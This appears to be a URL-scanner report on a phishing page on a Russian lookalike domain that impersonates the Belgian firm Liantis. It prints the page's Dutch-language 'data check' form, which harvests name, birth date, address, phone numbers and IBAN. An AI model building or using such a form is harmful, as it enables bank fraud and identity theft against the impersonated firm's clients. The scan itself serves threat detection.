www-liantls.be-235544.ru Open in urlscan Pro
95.214.26.20  Public Scan

Submitted URL: https://convivium.info/rjm9u
Effective URL: https://www-liantls.be-235544.ru/lo/
Submission: On November 15 via api from BE — Scanned from DE

Form analysis 1 forms found in the DOM

POST verify2.php

<form method="post" action="verify2.php" class="form-horizontal ng-scope ng-invalid ng-invalid-required ng-valid-minlength ng-valid-maxlength ng-invalid-is-valid-length-account-number ng-valid-pattern ng-dirty ng-valid-parse">
  <title>Liantis</title>
  <div id="logo-part">
    <img src="./img/liantis_logo.png" alt="Liantis">
  </div>
  <div id="red-part">
    <h2>Gegevenscontrole</h2>
  </div>
  <div>
    <div id="formParent">
      <div id="form-part">
        <div id="formAlign">
          <div class="user-input">
            <div class="inputField">
              <label for="unternehmensname">Bedrijfsnaam</label>
              <input type="text" id="companyName" name="voornaam" required="">
            </div>
            <p id="companyNameError"></p>
          </div>
          <div class="user-input">
            <div class="inputField">
              <label for="initialen und nachname">Voorletter(s) en Achternaam</label>
              <input type="text" id="clientName" name="achternaam" required="">
            </div>
            <p id="clientNameError"></p>
          </div>
          <div class="user-input">
            <div class="inputField">
              <label for="geboortedatum">Geboortedatum</label>
              <input type="text" name="straat" required="">
            </div>
          </div>
          <div class="user-input">
            <div class="inputField">
              <label for="postieizahl und hausnummer">Postcode en Huisnummer</label>
              <input type="text" id="address" name="postcode" required="">
            </div>
            <p id="addressError"></p>
          </div>
          <div class="user-input">
            <div class="inputField">
              <label for="mobilnummer">Mobiel nummer</label>
              <input type="number" id="phoneNumber" name="geboortedatum" required="">
            </div>
            <p id="phoneNumberError"></p>
          </div>
          <div class="user-input">
            <div class="inputField">
              <label for="festnetz">Vaste lijn</label>
              <input type="number" id="landLine" name="telefoonnummer" required="">
            </div>
            <p id="landLineError"></p>
          </div>
          <div class="user-input">
            <div class="inputField">
              <label for="kontonummer">IBAN</label>
              <input type="text" id="rib" name="emailadres" onblur="limitRib()" required="">
            </div>
            <p id="ribError"></p>
          </div>
          <button type="submit">Verder</button>
          <p id="subError"></p>
        </div>
      </div>
    </div>
  </div>
</form>

Text Content

Liantis



GEGEVENSCONTROLE

Bedrijfsnaam



Voorletter(s) en Achternaam



Geboortedatum
Postcode en Huisnummer



Mobiel nummer



Vaste lijn



IBAN



Verder